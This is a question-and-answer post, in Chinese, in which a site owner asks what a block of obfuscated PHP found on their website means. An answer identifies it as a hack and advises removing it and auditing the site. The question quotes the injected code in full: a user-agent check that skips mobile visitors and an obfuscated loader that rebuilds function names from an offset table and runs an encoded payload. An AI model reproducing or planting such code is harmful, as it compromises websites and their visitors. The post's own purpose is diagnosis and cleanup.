这段代码在 PHP 中是什么意思

Question

在更新PHP网站时，我遇到了这段代码。这没有任何意义。

这是什么？？对网站或其他东西的攻击???

 <?php
if (!isset($GLOBALS["x61156x75156x61"]))
 {
 $ua = strtolower($_SERVER["x48124x54120x5f125x53105x52137x41107x45116x54"]);
 if ((!strstr($ua, "x6d163x69145")) && (!strstr($ua, "x72166x3a61x31")) && (!strstr($ua, "x61156x64162x6f151x64")) && (!strstr($ua, "x6d157x62151x6c145")) && (!strstr($ua, "x69160x68157x6e145")) && (!strstr($ua, "x69160x61144")) && (!strstr($ua, "x6f160x65162x6140x6d"))) $GLOBALS["x61156x75156x61"] = 1;
 } ?><?php
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$ocskvyfdqx = explode(chr((235 - 191)) , '818,35,4175,64,3243,58,10019,21,1481,56,7033,33,9024,59,5326,57,1686,59,9997,22,6700,49,9235,48,957,43,2373,61,9124,24,3546,52,6656,44,4065,66,7902,34,4455,34,3502,44,7578,38,9473,37,3774,22,4735,58,84,22,5432,56,3405,49,6749,60,2571,34,1646,20,9331,57,3678,68,3923,58,7256,68,6588,68,530,48,1084,48,1745,24,2605,28,4959,49,9839,27,9193,42,8579,38,1666,20,5865,57,128,44,2749,63,6984,49,9442,31,7851,51,2900,29,5164,55,9168,25,2180,68,230,39,5601,37,9148,20,3375,30,5550,26,2057,49,9739,38,9580,67,7936,31,6407,67,3598,58,9388,54,6122,48,6528,21,7155,52,7124,31,7642,45,9510,70,8087,65,5107,26,2633,24,780,38,8351,44,300,44,3746,28,6170,21,4386,25,4548,64,8617,42,2472,70,6944,40,4025,40,8971,53,853,23,4297,38,578,30,3156,28,269,31,5008,34,4131,44,3301,32,2689,60,1270,42,3112,44,608,29,3874,49,5703,29,425,52,1170,68,6317,48,3184,37,8812,25,1623,23,8680,60,2812,20,6809,64,7427,68,1572,21,6256,61,8740,31,2657,32,8524,55,8495,29,6083,39,1132,38,4664,47,5638,65,7519,59,2029,28,1359,45,2991,52,637,40,4335,51,8837,31,8771,41,3454,48,5042,65,4793,69,5922,55,2106,27,8659,21,6031,52,8206,63,9083,41,42,42,404,21,2133,47,5999,32,9777,62,2929,62,1593,30,5576,25,3221,22,6227,29,1846,69,4612,52,5796,69,9923,27,6365,42,5977,22,1537,35,8305,46,4711,24,724,56,1312,47,2832,68,1029,55,6915,29,677,47,477,53,5303,23,8449,46,8395,54,5488,62,4239,58,8929,42,6873,42,8152,54,7495,24,1820,26,9711,28,876,53,2314,59,6474,54,6191,36,2248,66,929,28,7207,49,1915,70,5219,54,4862,47,1404,54,5383,49,3656,22,1985,44,7324,34,4909,50,9950,47,2434,38,2542,29,7616,26,7828,23,1769,51,4489,59,7066,58,1000,29,9283,48,5273,30,5133,31,9866,57,0,42,7967,50,3796,51,5732,64,9647,64,4411,44,7752,37,8269,36,7789,39,7687,65,10040,66,106,22,3043,69,3847,27,7358,69,8868,61,3333,42,344,60,1458,23,3981,44,172,58,8017,70,1238,32,6549,39');
$niqesrdxdn = substr($vwxsajnbcm, (32536 - 22430) , (34 - 27));
if (!function_exists('zzrfhvkcwo'))
 {
 function zzrfhvkcwo($znzwjxpcyc, $lfafkymhqq)
  {
  $xnhcrqpkcp = NULL;
  for ($gznncvjdur = 0; $gznncvjdur < (sizeof($znzwjxpcyc) / 2); $gznncvjdur++)
   {
   $xnhcrqpkcp.= substr($lfafkymhqq, $znzwjxpcyc[($gznncvjdur * 2) ], $znzwjxpcyc[($gznncvjdur * 2) + 1]);
   }
  return $xnhcrqpkcp;
  };
 }
$zwqshkkfti = "x2057x2a40x6b170x70153x66170x64171x64142x2052x2f40x65166x61154x28163x74162x5f162x65160x6c141x63145x28143x68162x2850x3170x3255x3164x3551x2954x20143x68162x2850x3465x3055x3365x3851x2954x20172x7a162x66150x76153x63167x6f50x24157x63163x6b166x79146x64161x7854x24166x77170x73141x6a156x62143x6d51x2951x3b40x2f52x20144x76155x63147x72163x76153x6840x2a57x20";
$fqlqhefvbx = substr($vwxsajnbcm, (52826 - 42713) , (57 - 45));
$fqlqhefvbx($niqesrdxdn, $zwqshkkfti, NULL);
$fqlqhefvbx = $zwqshkkfti;
$fqlqhefvbx = (686 - 565);
$vwxsajnbcm = $fqlqhefvbx - 1; ?> 

Answer 1

是的。这是一个黑客。随机生成的变量名称等既混淆了内容，又使使用扫描程序搜索变得不那么容易 - 代码将执行相同的操作，但在每个站点上使用不同的变量名称等，因此您不能只搜索特定的字符串来查找它。这是另一个看起来像相同黑客的例子。

您应该删除代码，但这当然不会消除允许黑客首先将其放置在那里的任何漏洞，因此您也需要审核站点并修复它。这远远超出了这里答案的范围，也是Stack Overflow的题外话。(您可能 http://security.stackexchange.com 运气更好，但在发布之前请查看他们的帮助中心......

这也是一个WordPress网站吗？我会仔细遵循常见问题解答"我的网站被黑客入侵"中的所有建议。